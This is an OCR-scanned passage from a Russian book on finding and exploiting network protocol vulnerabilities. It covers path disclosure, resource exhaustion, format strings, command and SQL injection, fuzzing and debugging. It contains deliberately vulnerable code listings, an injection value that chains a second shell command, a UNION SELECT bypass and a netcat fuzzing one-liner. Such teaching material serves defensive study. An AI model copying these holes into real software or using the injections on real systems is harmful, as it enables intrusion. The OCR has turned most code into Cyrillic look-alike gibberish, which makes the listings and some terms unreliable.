Үіпаоуѕ, уязвимость никуда не исчезнет. 

Хотя возможности скачивать файлы из системы может быть до- 
статочно, чтобы скомпрометировать ее, возникает более серьезная 
проблема, когда такая уязвимость появляется в протоколах загрузки 
файлов. Если вы можете загружать файлы в систему размещения при- 
ложений и указать произвольный путь, то скомпрометировать систе- 
му гораздо проще. Можно, например, загрузить в систему сценарии 
или другое исполняемое содержимое и заставить систему выполнить 
его, что приведет к удаленному выполнению кода. 


Подробные сообщения об ошибках 


Если приложение пытается получить ресурс и этот ресурс не найден, 
то обычно приложения возвращают информацию об ошибке. Это мо- 
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жет быть простая ошибка, как код ошибки или полное описание ТОГО, 
чего не существует; однако она не должна раскрывать больше инфор- 
мации, чем требуется. Конечно, это не всегда так. 


Обычная операция 


Данные протокола 


Данные протокола 


/..Јеіс/раѕѕуӣ 


Конкатенация 


/еѕ/../еїс/раѕѕуӣ 


Канонизация 


/еіс/раѕѕуӣ 


Рис. 9.4. Обычная операция канонизации пути по сравнению с уязвимостью 


Если приложение возвращает сообщение об ошибке при запросе 
ресурса, который не существует, и вставляет локальную информацию 
о ресурсе, к которому осуществляется доступ, в ошибку, это означает 
простую уязвимость. Если осуществляется доступ к файлу, то ошиб- 
ка может содержать локальный путь к файлу, который был передан 
в ОС: эта информация может оказаться полезной для того, кто пыта- 
ется получить дальнейший доступ к системе хостинга, как показано 
в листинге 9.9. 


Листинг 9.9. Раскрытие информации в сообщении об ошибке 


деҒ ѕепа Ғ\іЛе о с1ліепі м ЁВ_еггог() 


{ 
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Ө сїгіпд пате = геай ѕїгіпо(); 


[/ Объединяем имя клиента с базовым путем 
Ө $Ег1лд РиЦРаЕВ = "/Ғ1еѕ" + пате; 


© іР(!ехіѕ(ҒиЛЛРаёһћ)) 
{ 
Ө игЦе_еггог("ЕДе " + РГиДРа{В + " доезп'{ ехіѕї"); 
} 
е15е 
{ 
Ө игіёе ҒіЛе ёо с1іепЕ(ҒиЛЛРаёћ); 
} 
} 


В этом листинге показан простой пример сообщения об ошибке, 
возвращаемого клиенту, если запрошенный файл не существует. Мы 
считываем строку из сети, которая представляет имя файла для до- 
ступа Ө. Затем эта строка объединяется с фиксированным базовым 
путем в полный путь Ө. Существование файла проверяется операци- 
онной системой. Если файл не существует, то полный путь к файлу до- 
бавляется в строку ошибки и возвращается клиенту Ө; в противном 
случае возвращаются данные. 

Этот код уязвим, и сего помощью можно раскрыть местоположение 
базового пути в локальной файловой системе. Кроме того, путь может 
быть использован с другими уязвимостями, чтобы получить более рас- 
ширенный доступ к системе. Он также может предоставить информа- 
цию о текущем пользователе, запускающем приложение, если, напри- 
мер, каталог ресурсов находится в домашнем каталоге пользователя. 


Исчерпание памяти 


Ресурсы системы, в которой работает приложение, конечны: доступ- 
ное дисковое пространство, память и вычислительная мощность 
ограничены. После того как критический системный ресурс исчер- 
пан, система может неожиданно дать сбой, например перестать отве- 
чать на новые сетевые подключения. 

Когда для обработки протокола используется динамическая па- 
мять, всегда существует риск перераспределения памяти или вы мо- 
жете забыть освободить выделенные блоки, что приведет к исчерпа- 
нию памяти. Самый простой способ, которым протокол может быть 
подвержен такой уязвимости, - это динамическое выделение памяти 
на основе абсолютного значения, передаваемого в протоколе. Напри- 
мер, рассмотрим листинг 9.10. 


Листинг 9.10. Исчерпание памяти 


деҒ геаа Биғғег() 
{ 
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Буе Би+[]; 
(11132 Леп; 
ПЕ і = 0; 


// Считываем количество байтов из сети 
Ө Теп = геай иіпі32(); 


// Выделяем буфер памяти 
Ө Ш = паЦос(Теп); 


// Выделяем байты из сети 
© геа Буеѕ(БиғҒ, 1еп); 


ргіпЕғ("Аеаа іп %4 Буёеѕ\п", Леп); 
} 


Здесь мы считываем буфер переменной длины из протокола. Вна- 
чале мы считываем длину в байтах Ө как 32-битное целое число без 
знака. Далее пытаемся выделить буфер такой длины перед чтением 
его из сети Ө. В конце считываем данные из сети Ө. Проблема состоит 
в том, что злоумышленник может без труда указать очень большую 
длину, скажем 2 гигабайта, которая при выделении заблокирует боль- 
шую область памяти, к которой никакая другая часть приложения 
не может получить доступ. Затем злоумышленник может медленно 
отправлять данные на сервер (чтобы попытаться предотвратить за- 
крытие соединения из-за тайм-аута) и, повторяя это несколько раз, 
в конечном итоге вызывает исчерпание памяти. 

Большинство систем не выделяют физическую память, пока она не 
будет использована, тем самым ограничивая общее воздействие на 
систему в целом. Однако эта атака будет иметь более серьезные по- 
следствия для выделенных встраиваемых систем, где память в цене, 
а виртуальная память отсутствует. 


Исчерпание хранилища 


Данного рода атаки менее вероятны в случае с современными мно- 
готерабайтными жесткими дисками, но все же могут быть проблемой 
для более компактных встроенных систем или устройств без храни- 
лища. Если злоумышленник может исчерпать емкость хранилища си- 
стемы, то приложение или другие компоненты системы могут дать 
сбой. Такая атака может даже предотвратить перезагрузку системы. 
Например, если операционная система должна записать определен- 
ные файлы на диск перед запуском, но не может этого сделать, то мо- 
жет возникнуть отказ в обслуживании. 

Наиболее частая причина уязвимостей этого типа – запись опе- 
рационной информации на диск. Например, если журналы очень 
подробные и на одно соединение генерируется несколько сотен ки- 
лобайт данных, а максимальный размер журнала не имеет ограни- 
чений, можно довольно просто переполнить хранилище путем по- 
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вторных подключений к службе. Такая атака может быть особенно 
эффективной, если приложение регистрирует данные, отправляемые 
ему удаленно, и поддерживает сжатые данные. В подобном случае 
злоумышленник может использовать очень небольшую пропускную 
способности сети, чтобы зарегистрировать большой объем данных. 


Исчерпание ресурсов ЦП 


Несмотря на то что современный средний смартфон имеет в своем 
распоряжении несколько процессоров, они могут одновременно вы- 
полнять только определенное количество задач. Отказ в обслужива- 
нии можно вызвать, если злоумышленник может потреблять ресурсы 
ЦП с минимальным количеством усилий и пропускной способностью. 
Хотя это можно сделать несколькими способами, я остановлюсь толь- 
ко на двух: использование алгоритмической сложности и определение 
внешних контролируемых параметров криптографических систем. 


Алгоритмическая сложность 


Все компьютерные алгоритмы имеют соответствующие вычисли- 
тельные затраты, обозначающие количество работы, которую необ- 
ходимо выполнить для конкретного ввода, чтобы получить желаемый 
результат. Чем больше работы требует алгоритм, тем больше времени 
ему нужно от системного процессора. В идеале алгоритм должен за- 
нимать постоянное количество времени, независимо от того, какие 
входные данные он получает. Но такое бывает редко. 

Некоторые алгоритмы становятся особенно затратными по мере 
увеличения количества входных параметров. Например, рассмотрим 
алгоритм сортировки пузырьком. Этот алгоритм проверяет каждую 
пару значений в буфере и меняет их местами, если левое значение 
пары больше правого. Это дает эффект «всплытия» более высоких 
значений до конца буфера до тех пор, пока весь буфер не будет от- 
сортирован. В листинге 9.11 показана простая реализация данного 
алгоритма. 


Листинг 9.11. Простая реализация алгоритма сортировки пузырьком 


де БиББ1е ѕогїі(іпі[] Би) 
{ 
до 
{ 
Боо1 змарреЧ = Ға1ѕе; 
іп № = Теп(БиР); 
Ғог(іпі = 1; і < №- 1; ++1) 
{ 
1Р(Би#[А-1] > Боғ[А1]) 
{ 


// Меняем значения 
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ѕмар( Би#[1-1], Биғ[1] ); 
ѕмарреа = гие; 
} 
} 
} ииЦе( зиарреф == Ға1ѕе); 
} 


«О большое» и «о малое» 


«О большое» и «о малое» – распространенное представление вы- 
числительной сложности, представляющее верхнюю границу 
сложности алгоритма. В табл. 9.1 перечислены распространен- 
ные варианты для различных алгоритмов, от наименее сложных 
до наиболее сложных. 


Таблица 9.1. Нотация "О большое" для оценки сложности алгоритма 


Нотация Описание 


09 Постоянное время; алгоритм всегда занимает одинаковое количество 
времени 


0(109№) Логарифмическая сложность; худший случай пропорционален логарифму 
количества входов 


О(№) Линейная сложность; худший случай пропорционален количеству вводов 


О(№) Квадратичная сложность; худший случай пропорционален квадрату 
количества входов 


0(2^) Экспоненциальная сложность; худший случай пропорционален 2, 
возведенному в /№-ю степень 


Имейте в виду, что это значения худшего случая, которые не 
обязательно отражают реальную сложность. Тем не менее, зная 
конкретный алгоритм, например сортировка пузырьком, есть 
большая вероятность, что злоумышленник сможет намеренно 
инициировать худший случай. 


Объем работы, необходимой для этого алгоритма, пропорционален 
количеству элементов (пусть это будет число № в буфере, который 
вам нужно отсортировать. В лучшем случае для этого потребуется 
один проход через буфер, требующий М итераций, что происходит, 
когда все элементы уже отсортированы. В худшем случае, когда буфер 
отсортирован в обратном порядке, алгоритм должен повторить про- 
цесс сортировки № раз. Если злоумышленник может указать большое 
количество обратных значений, то вычислительные затраты на вы- 
полнение такой сортировки становятся значительными. В результате 
сортировка может потреблять 100 % времени ЦП и привести к отказу 
в обслуживании. 

В реальном примере было обнаружено, что некоторые окружения 
программирования, включая РНР и ]ауа, использовали алгоритм для 
реализаций хеш-таблиц, который в худшем случае выполнял № опе- 
раций. Хеш-таблица - это структура данных, которая содержит зна- 
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чения, привязанные к другому значению, например текстовое имя. 
Ключи сначала хешируются с использованием простого алгоритма, 
который затем определяет корзину, в которую помещается значение. 
Алгоритм № используется при вставке нового значения в корзину; 
в идеале между хеш-значениями ключей должно быть мало конфлик- 
тов, чтобы размер корзины был небольшой. Но, создав набор ключей 
с одинаковым хешем (и, что особенно важно, с разными значениями 
ключей), злоумышленник может вызвать отказ в обслуживании (на- 
пример, на веб-сервере), отправив всего несколько запросов. 


Конфигурируемая криптография 


Обработка криптографических примитивов, таких как алгоритмы 
хеширования, также может создавать значительную вычислитель- 
ную нагрузку, особенно при работе с учетными данными аутенти- 
фикации. Существует правило компьютерной безопасности, которое 
гласит, что пароли всегда должны хешироваться с использованием 
алгоритма выборки сообщений перед их сохранением. Так вы пре- 
образуете пароль в значение хеша, которое практически невозмож- 
но преобразовать обратно в исходный пароль. Даже если хеш будет 
раскрыт, получить исходный пароль будет сложно. Но кто-то все же 
может угадать пароль и сгенерировать хеш. Если предполагаемый 
пароль совпадает при хешировании, значит, исходный пароль обна- 
ружен. Чтобы решить эту проблему, обычно операция хеширования 
выполняется несколько раз, чтобы увеличить вычислительные требо- 
вания для злоумышленника. К сожалению, этот процесс также увели- 
чивает вычислительные затраты и для приложения, что может стать 
проблемой, когда дело доходит до отказа в обслуживании. 

Уязвимость может возникнуть, если алгоритм хеширования за- 
нимает экспоненциальное количество времени (в зависимости от 
размера входных данных), или количество итераций алгоритма мо- 
жет быть указано извне. Связь между временем, которое требуется 
большинству криптографических алгоритмов, и заданными вход- 
ными данными довольно линейна. Однако если вы можете указать 
количество итераций алгоритма без какой-либо разумной верхней 
границы, то обработка может занять столько времени, сколько поже- 
лает злоумышленник. Такое уязвимое приложение показано в лис- 
тинге 9.12. 


Листинг 9.12. Проверка уязвимой аутентификации 


де{ ргосезз_аи реп са \юоп() 

{ 
ѕігіпд изегпаме = геад_$%г1пд(); 
Ѕігіпд раззмог4 = геай ѕЁгіпо(); 
іпЁ іЁегаёіопѕ = геаа іпё(); 


Ғог(іпё і = 0; 1 < іпёегаёіопѕ; ++1) 


{ 
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© раѕѕмога = һаѕһ раѕѕмога(раѕѕмогӣ); 


} 


Ө геїшгп сһеск иѕег раѕѕиогд(иѕегпате, раѕѕиогаӣ); 


} 


Сначала из сети считываются имя пользователя и пароль ®. Далее 
считывается число итераций алгоритма хеширования, и процесс хеши- 
рования применяется это количество раз Ө. Наконец, хешированный 
пароль сравнивается с паролем, хранящимся в приложении. Ясно, что 
злоумышленник может указать очень большое значение для счетчика 
итераций, которое, вероятно, потребует значительного объема ресур- 
сов ЦП в течение длительного периода времени, особенно если алго- 
ритм хеширования является сложным с точки зрения вычислений. 

Хорошим примером криптографического алгоритма, который мо- 
жет сконфигурировать клиент, является обработка открытых и за- 
крытых ключей. Такие алгоритмы, как В5А, зависят от вычислитель- 
ной стоимости факторинга большого значения открытого ключа. Чем 
больше значение ключа, тем больше времени требуется для шифро- 
вания и дешифрования и тем больше времени нужно для создания 
новой пары ключей. 


Уязвимости строки форматирования 


В большинстве языков программирования есть механизм преобразо- 
вания произвольных данных в строку. Обычно определяется некий 
механизм форматирования, чтобы указать, как разработчик хочет по- 
лучить результат. Некоторые из этих механизмов довольно мощные 
и привилегированные, особенно в языках, которые являются небезо- 
пасными с точки зрения доступа к памяти. 

Уязвимость строки форматирования возникает, когда злоумышлен- 
ник может предоставить строковое значение приложению, которое 
затем используется непосредственно как строка форматирования. Са- 
мый известный и, вероятно, самый опасный форматер используется 
функцией языка С, ргіпі?, и ее разновидностями, такими как ѕргіпі?, 
которые выводят строку. Функция ргіпї# принимает в качестве перво- 
го аргумента строки форматирования, а затем список форматируемых 
значений. В листинге 9.15 показано такое уязвимое приложение. 


Листинг 9.13. Уязвимость строки форматирования 


деҒ ргосеѕѕ аџёћепіісаёіоп() 


{ 


ѕгіпд иѕегпате = геай ѕЁгіпо(); 
ѕгіпд раѕѕиогӣ = геай ѕЁгіпо(); 


// Выводим имя пользователя и пароль в терминал 
ргіпЕЁ(иѕегпаме); 
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ргіпЕ#(раѕѕмога); 


гефигп сһеск_иѕег_раѕѕмога(иѕегпате, раѕѕмогаӣ)) 


Строка форматирования для функции ргіпЁЁ определяет позицию 
и тип данных с помощью синтаксиса %?, в котором вопросительный 
знак заменяется буквенно-цифровым символом. Спецификатор 
формата также может включать информацию о форматировании, 
например количество десятичных знаков в числе. Злоумышленник, 
который может напрямую контролировать строку форматирования, 
может повредить память или раскрыть информацию о текущем стеке, 
которая может оказаться полезной для дальнейших атак. 

В табл. 9.2 показан список распространенных спецификаторов 
формата ргіпі#, которыми может воспользоваться злоумышленник. 


Таблица 9.2. Список обычно используемых спецификаторов формата ргіпїҒ 


Спецификатор 

формата Описание Возможные уязвимости 

%а, %р, %и, х Выводит целые числа Может использоваться для раскрытия информации из стека 

при возврате злоумышленнику 

%5 Выводит Может использоваться для раскрытия информации из стека 
нуль-терминированную при возврате злоумышленнику или вызвать недействительный 
строку доступ к памяти, что приводит к отказу в обслуживании 

Фп Записывает текущее Может использоваться для выборочного повреждения 


количество выведенных памяти или сбоев приложений 
символов в указатель, 

определнный 

в аргументах 


Внедрение команд 


Большинство ОС, особенно систем на базе Ошх, включают богатый 
набор утилит, предназначенный для различных задач. Иногда разра- 
ботчики решают, что самый простой способ выполнить конкретную 
задачу, например обновление пароля, – это запустить внешнее прило- 
жение или служебную программу операционной системы. Хотя, воз- 
можно, это и не проблема, если выполняемая командная строка пол- 
ностью указана разработчиком, часто некоторые данные от сетевого 
клиента вставляются в командную строку для выполнения желаемой 
операции. В листинге 9.14 показано такое уязвимое приложение. 


Листинг 9.14. Обновление пароля уязвимо для внедрения команды 


деҒ ирдаёе раѕѕмога(ѕёгіпд изегпаме) 


{ 
Ө сігіпо о1драѕѕмогӣі = геаа ѕёгіпо(); 
ѕЁгіпд пемраѕѕмога = геай ѕгіпд(); 


1#(сһеск_иѕег_раѕѕмога(иѕегпате, о1йраѕѕмогӣ)) 
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{ 
// Вызов команды ирдафе_ра$$могФ 


Ө суѕіет(" /5БАп/ирда{е_раззмог4 -и " + иѕегпате + " -р " + пеираѕѕмогӣ); 
} 
} 


В этом листинге мы обновляем пароль текущего пользователя до 
тех пор, пока известен исходный пароль ®. Затем мы создаем команд- 
ную строку и вызываем функцию ѕуѕїетв стиле Их. Хотя мы не конт- 
ролируем параметры чзегпапе или о|йраѕѕиога (они должны быть пра- 
вильными для выполнения вызова функции зуз*ет), у нас есть полный 
контроль над параметром пемраѕѕногӣ. Поскольку очистка не выпол- 
няется, код в листинге уязвим для внедрения команд, так как функция 
сует использует текущую оболочку Опіх для выполнения командной 
строки. Например, можно было бы указать значение для пенраѕѕмогӣ, 
такое как раѕѕмога; хса1с, которое сначала выполнит команду обнов- 
ления пароля. Затем оболочка может выполнить хса1с, поскольку она 
обрабатывает точку с запятой как разделитель в списке команд для 
выполнения. 


Внедрение 501 -кода 


Даже самому простому приложению может потребоваться постоян- 
ное хранение и извлечение данных. Приложения могут делать это 
разными способами, но одним из наиболее распространенных явля- 
ется использование реляционной базы данных. Базы данных пред- 
лагают множество преимуществ, не последним из которых является 
возможность отправлять запросы для выполнения сложной группи- 
ровки и анализа. 

Стандартом де-факто для выполнения запросов к реляционным 
базам данных является язык структурированных запросов ($501). Этот 
текстовый язык определяет, какие таблицы данных следует читать 
и как фильтровать эти данные для получения нужных приложению 
результатов. При использовании текстового языка возникает соблазн 
строить запросы с использованием строковых операций. Однако это 
может легко привести к возникновению такой уязвимости, как внед- 
рение команды: вместо того чтобы вставлять ненадежные данные 
в командную строку без соответствующего экранирования, злоумыш- 
ленник вставляет данные в 501-запрос, который выполняется к базе 
данных. Этот метод может изменить операцию запроса, чтобы вер- 
нуть известные результаты. Например, что, если запрос извлечет те- 
кущий пароль для пользователя, проходящего аутентификацию, как 
показано в листинге 9.15? 


Листинг 9.15. Пример аутентификации, уязвимой для внедрения 501 -кода 


деҒ ргосеѕѕ аџёћепЁісаёіоп() 


{ 
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Ө 5їігіпд изегпаме = геад_$%г1пд(); 
ѕігіпд раѕѕмогӣ = геай ѕЁгіпо(); 
АТА 


Ө 5їгіпд 591 = "ЗЕЁЕСТ раѕѕмога ЕВОМ изег_фаБЛе МНЕВЕ џѕег = '" + иѕегпате 


Ө геїшгп гип дџегу(591) == раѕѕмога; 


Здесь мы считываем имя пользователя и пароль из сети Ө. После 
этого создаем новый 5ОТ-запрос в виде строки, используя инструк- 
цию ЅЕІЕСТ для извлечения пароля, связанного с пользователем, из 
таблицы иег Ө. Наконец, мы выполняем этот запрос к базе данных 
и проверяем, совпадает ли пароль, считанный из сети, с паролем 
в базе данных ®. 

Уязвимость из этого листинга легко эксплуатировать. В 501. строки 
должны быть заключены в одинарные кавычки, чтобы они не интер- 
претировались как команды в инструкции $01. Если имя пользовате- 
ля отправляется в протоколе со встроенной одинарной кавычкой, то 
злоумышленник можеттерминировать закавыченную строку раньше. 
Это привело бы к добавлению новых команд в 501-запрос. Например, 
инструкция ОМ№ІОМ№ 5ЕЁЕСТ позволит запросу возвращать произвольное 
значение пароля. Злоумышленник может использовать внедрение 
ЅОІ-кода, чтобы обойти аутентификацию приложения. 

Атаки с использованием внедрения 501-кода могут даже привести 
к удаленному выполнению кода. Например, хотя функция базы дан- 
ных Місгоѕой 501. Ѕегуег хр_стіѕһе11 по умолчанию отключена, она 
позволяет выполнять команды ОС. База данных ОгасІе даже позво- 
ляет загружать произвольный код Јауа. И конечно же, также можно 
найти приложения, которые передают по сети необработанные $01- 
запросы. Даже если протокол не предназначен для управления базой 
данных, все равно существует большая вероятность, что его можно 
использовать для доступа к движку базы данных. 


Замена символов в текстовой кодировке 


В идеале каждый мог бы использовать один тип кодировки текста 
для всех языков. Но мы живем не в идеальном мире и используем не- 
сколько кодировок текста, как обсуждалось в главе 5, например АЅСП 
и Юникод. 

Некоторые преобразования нельзя выполнять циклически: при 
преобразовании из одной кодировки в другую теряется важная ин- 
формация, поэтому если применяется обратный процесс, исходный 
текст восстановить нельзя. Это особенно проблематично при преоб- 
разовании широкого набора символов, такого как Юникод, в узкий 
набор, например А$СП. Закодировать весь набор символов Юникода 
в 7 бит просто невозможно. 

Преобразования текстовой кодировки решают эту проблему одним 
из двух способов. Самый простой подход – замена символа, который 
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нельзя представить, с помощью заполнителя, такого как знак вопро- 
са (?). Это может быть проблемой, если значение данных относится 
к чему-то, где вопросительный знак используется как разделитель 
или специальный символ, например при парсинге ОКІ-адреса, где он 
представляет начало строки запроса. 

Другой подход - заменить символ Юникода другим похожим сим- 
волом (Без{-Й тарріпе). Эта техника используется для символов, 
у которых есть аналогичный символ в новой кодировке. Например, 
символы кавычек в Юникоде могут быть открывающими и закрыва- 
ющими. Эти формы имеют номер знака, О + 201С и 0 + 2010. Они 
находятся за пределами диапазона АЅСІ, но при преобразовании 
в АЗСП обычно заменяются эквивалентным символом, например О + 
0022 или кавычками. Такой способ может стать проблемой, когда пре- 
образованный текст обрабатывается приложением. Хотя слегка иска- 
женный текст обычно не причиняет особых проблем пользователю, 
процесс автоматического преобразования может привести к тому, 
что приложение неправильно обработает данные. 

Важная проблема реализации заключается в том, что приложение 
сначала проверяет условие безопасности, используя одну закоди- 
рованную форму строки. Затем использует другую закодированную 
форму для определенного действия, такого как чтение ресурса или 
выполнение команды, как показано в листинге 9.16. 


Листинг 9.16. Уязвимость преобразования текста 


деҒ ада иѕег() 
{ 


Ө сігіпд иѕегпате = геай ипісойе ѕЁгіпо(); 


// Убеждаемся, что имя пользователя не содержит одинарных кавычек 
Ө \!(изегпамте. сопёаїіпѕ("'") == Ға1ѕе) 
{ 
// Добавляем пользователя, необходимо преобразовать символы в АЅСІІ 
// для оболочки 
© суз{ет(" /5БАп/а94_изег 
} 
} 


+ узегпаме. ёоаѕсіі() + "'"); 


В этом листинге приложение считывает строку Юникода, представ- 
ляющую пользователя, которого нужно добавить в систему ®. Оно 
передает значение команде айй _џѕег, но хочет избежать уязвимости, 
связанной с внедрением команды; поэтому сначала гарантирует, что 
имя пользователя не содержит одинарных кавычек, которые могут 
быть истолкованы неверно Ө. Убедившись, что строка в порядке, она 
преобразовывает ее в АЗСП (системы Опіх обычно работают с узким 
набором символов, хотя многие поддерживают ОТЕ-8) и гарантирует, 
что значение заключено в одинарные кавычки, чтобы предотвратить 
неправильную интерпретацию пробелов ®. 
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Конечно, если правила замены символа Юникода другим похожим 
символом преобразуют иные символы обратно в одинарные кавычки, 
то можно было бы преждевременно завершить закавыченную строку 
и вернуться к тому же типу внедрения команд, который обсуждался 
ранее. 


Заключительное слово 


Эта глава показала, что существует множество возможных первопри- 
ЧИН уязвимостей с, казалось бы, безграничным количеством вариан- 
тов в реальных ситуациях. Даже если что-то не сразу кажется уязви- 
мым, проявите настойчивость. Уязвимости могут появляться в самых 
неожиданных местах. 

Мы рассмотрели различные уязвимости от повреждений памяти, 
заставляющих приложение вести себя иначе, чем было предназна- 
чено изначально до предотвращения доступа полноправных пользо- 
вателей к предоставляемым службам. Выявление всех этих проблем 
может оказаться сложным процессом. 

Вы занимаетесь анализом протоколов, и у вас есть несколько воз- 
можных вариантов. Также жизненно важно, чтобы вы изменили свою 
стратегию при поиске уязвимостей реализации. Учитывайте язык, на 
котором написано приложение: является ли он безопасным или нет 
с точки зрения доступа к памяти. Помните, что вы с меньшей долей 
вероятности обнаружите повреждение памяти, например, в прило- 
жении, написанном на Таха. 


ПОИСК И ЭКСПЛУАТАЦИЯ 
УЯЗВИМОСТЕЙ 


нализ структуры сложного сетевого протокола может быть не- 

простым делом, особенно если парсер написан на небезопас- 

ном с точки зрения доступа к памяти языке программирова- 
ния, таком как С или С++. Любая ошибка может привести к серьезной 
уязвимости, а сложность протокола затрудняет анализ таких уязви- 
мостей. Перехват всех возможных взаимодействий между входящи- 
ми данными и кодом приложения, который их обрабатывает, может 
быть невыполнимой задачей. 

В этой главе исследуются способы выявления уязвимостей в про- 
токоле путем управления сетевым трафиком, идущим в приложение 
и обратно. Я расскажу о таких методах, как фаззинг и отладка, ко- 
торые позволяют автоматизировать процесс обнаружения проблем 
безопасности, а также составлю краткое руководство по сортировке 
сбоев, чтобы определить их первопричину и возможность эксплуата- 
ции. В конце я поведаю об эксплуатации распространенных уязвимо- 
стей, что современные платформы делают для защиты от эксплуата- 
ции и способах обхода этих средств защиты. 
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Фаззинг 


Любой разработчик программного обеспечения знает, что тестирова- 
ние кода необходимо для того, чтобы гарантировать, что программ- 
ное обеспечение ведет себя правильно. Тестирование особенно важ- 
но, когда речь заходит о безопасности. Уязвимости существуют там, 
где поведение приложения отличается от того, что было запланиро- 
вано изначально. По идее, правильный набор тестов гарантирует, что 
этого не произойдет. Однако при работе с сетевыми протоколами, 
скорее всего, у вас не будет доступа ни к одному из тестов, особенно 
если речь идет о проприетарных приложениях. К счастью, можно со- 
здать собственные тесты. 

Фаззинг - это метод, при котором случайные, а иногда и не совсем 
случайные данные передаются в сетевой протокол, чтобы заставить 
приложение аварийно завершить работу с целью выявления уязви- 
мостей. Данный метод обычно дает результаты независимо от слож- 
ности сети. Фаззинг включает в себя создание нескольких тест-кей- 
сов, существенно измененных структур сетевого протокола, которые 
затем отправляются в приложение для обработки. Эти кейсы можно 
создавать автоматически с использованием случайных модификаций 
или под руководством аналитика. 


Простейший тест 


Разработка набора фазз-тестов для конкретного протокола не обяза- 
тельно является сложной задачей. В простейшем случае в ходе такого 
теста можно просто отправить случайный мусор в конечную точку 
сети и посмотреть, что произойдет. 

В этом примере мы будем использовать систему в стиле Цшх и ути- 
литу М№еќсаѓ. Выполните в оболочке следующие действия, чтобы полу- 
чить простой фаззер: 


$ са /4ем/игапдом | пс һоѕЕпаме роге 


Эта команда считывает данные с устройства генератора случайных 
чисел системы с помощью команды са*. Полученные случайные дан- 
ные передаются по конвейеру в пеїсаЁ, которая открывает соедине- 
ние с указанной конечной точкой в соответствии с инструкциями. 

Этот простой фаззер, скорее всего, приведет к сбою только в прос- 
тых протоколах с небольшими требованиями. Маловероятно, что 
простая случайная генерация создаст данные, отвечающие требова- 
ниям более сложного протокола, таким как действительные конт- 
рольные суммы или магические значения. Тем не менее вы будете 
удивлены, как часто простой фазз-тест может давать ценные резуль- 
таты. Только не используйте этот фаззер в действующей промышлен- 
ной системе управления ядерным реактором! 
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Мутационный фаззер 


Часто вам придется быть более избирательными при выборе того, 
какие данные вы отправляете в сетевое соединение, чтобы получить 
наиболее полезную информацию. Самый простой способ в этом слу- 
чае - использовать существующие данные протокола, изменить их 
каким-либо образом, а затем отправить их принимающему приложе- 
нию. Такой фаззер может работать на удивление хорошо. 

Начнем с простейшего мутационного фаззера: манипулятора слу- 
чайных битов. В листинге 10.1 показана базовая реализация фаззера 
данного типа. 


Листинг 10.1. Простой мутационный фаззер - манипулятор случайных 
битов 


уоіа Ѕітр1еЕиггег(сопѕ сһаг* Чафа, $12е_{ ТепдаеН) { 
ѕіғе і роѕіїіоп = ВапаотІпЁ(1епоёћ); 
ѕіғе і БіЁ = Вапіомїпі(8); 


сһаг* сору = Сорураа(даќа, 1епоїһ); 
сору[роѕіЄіоп] ^= (1 << Бі); 
Ѕепраёа(сору, \епдВ); 


Функция Ѕ1ітр1еЕигғег() принимает данные для фаззинга и длину 
данных, а затем генерирует случайное число от 0 до длины данных 
в качестве байта данных для изменения. Затем она решает, какой бит 
в этом байте нужно изменить, генерируя число от 0 до 7. После этого 
она переключает бит с помощью операции ХОВ и отправляет изме- 
ненные данные по месту назначения в сети. 

Эта функция работает, когда по случайности фаззер изменяет поле 
в протоколе, которое затем неправильно используется приложением. 
Например, фаззер может изменить поле длины, равное 0х40, преобра- 
зовав его в поле длины 0х80000040. Эта модификация может привести 
к целочисленному переполнению, если приложение умножит его на 
4 (для массива 32-битных значений, например), а также к искажению 
данных, что приведет к путанице кода парсинга и внесет другие типы 
уязвимостей, такие как недопустимый идентификатор команды, из- 
за чего парсер получает доступ к неправильному месту в памяти. 

Можно изменять более одного бита данных за раз. Однако, изме- 
няя отдельные биты, вы с большей вероятностью локализуете эффект 
мутации в аналогичной области кода приложения. Изменение всего 
байта может привести ко множеству различных эффектов, особенно 
если значение используется для набора флагов. 

Вам также потребуется пересчитать контрольные суммы или важ- 
ные поля, например значения общей длины, после того как данные 
подверглись фаззингу. В противном случае парсинг данных может 
завершиться ошибкой на этапе проверки, прежде чем они попадут 
в область кода приложения, обрабатывающую измененное значение. 
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Создание тест-кейсов 


При выполнении более сложного фаззинга нужно будет более разум- 
но вносить изменения и понимать протокол работы с конкретными 
типами данных. Чем больше данных передается в приложение для 
парсинга, тем сложнее оно будет. Во многих ситуациях неадекватные 
проверки выполняются в пограничных случаях, таких как значения 
длины; тогда если мы уже знаем, как устроен протокол, то можем соз- 
давать собственные тест-кейсы с нуля. 

Создание собственных тест-кейсов дает точный контроль над ис- 
пользуемыми полями протокола и их размерами. Однако тест-кей- 
сы сложнее разработать, и необходимо тщательно продумать типы, 
которые вы хотите сгенерировать. Их создание позволяет проверять 
типы значений протокола, которые могут и не использоваться при 
перехвате трафика для изменения. Но преимущество состоит в том, 
что вы задействуете больше кода приложения и получите доступ к об- 
ластям кода, которые, вероятно, будут не так хорошо протестированы. 


Сортировка уязвимостей 


После запуска фаззера для сетевого протокола и сбоя приложения вы 
почти наверняка обнаружите ошибку. Следующий шаг – выяснить, 
является ли эта ошибка уязвимостью и каким типом уязвимости она 
может быть. Это зависит от того, как и почему произошел сбой. Для 
этого анализа мы используем сортировку уязвимостей: предпри- 
мем ряд шагов для поиска основной причины сбоя. Иногда причина 
ошибки ясна, и ее легко отследить, а иногда уязвимость вызывает по- 
вреждение приложения через секунды, если не часы, после возник- 
новения повреждения. В этом разделе описаны способы сортировки 
уязвимостей и повышения ваших шансов найти основную причину 
конкретного сбоя. 


Отладка приложений 


Разные платформы позволяют управлять сортировкой на разных 
уровнях. В случае с приложением, работающим в М/іпаомѕ, тасО$ 
или пих, можно подключить к процессу отладчик. Но во встроенной 
системе у вас могут быть только отчеты о сбоях в системном журна- 
ле. Для отладки в Міпаомѕ я использую СРВ, в Ипих - СОВ и Прв 
в тасО$. Все эти отладчики работают из командной строки, и я пре- 
доставлю некоторые наиболее полезные команды для отладки ваших 
процессов. 


Запуск отладки 


Чтобы начать отладку, сначала нужно подключить отладчик к прило- 
жению, которое вы хотите отладить. Можно запустить приложение 
непосредственно под отладчиком из командной строки либо под- 
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ключить его к уже запущенному процессу на основе идентификатора 
процесса. В табл. 10.1 показаны различные команды, необходимые 
для запуска трех отладчиков. 


Таблица 10.1. Команды для запуска отладчиков в Міпаоухѕ, Мпих и тас05 


Отладчик Новый процесс Процесс подключения 
Срв сБ арр1ісаёіоп.ехе [аргументы] саб -р РТО 

срв 9 - -аг9ѕ арр1ісаїіоп [аргументы] 94Ь -р РТО 

НОВ 119Ь - аррАса оп [аргументы] 119 -р -РІР 


Поскольку отладчик приостановит выполнение процесса, после 
того как вы создали или подключили отладчик, нужно будет снова за- 
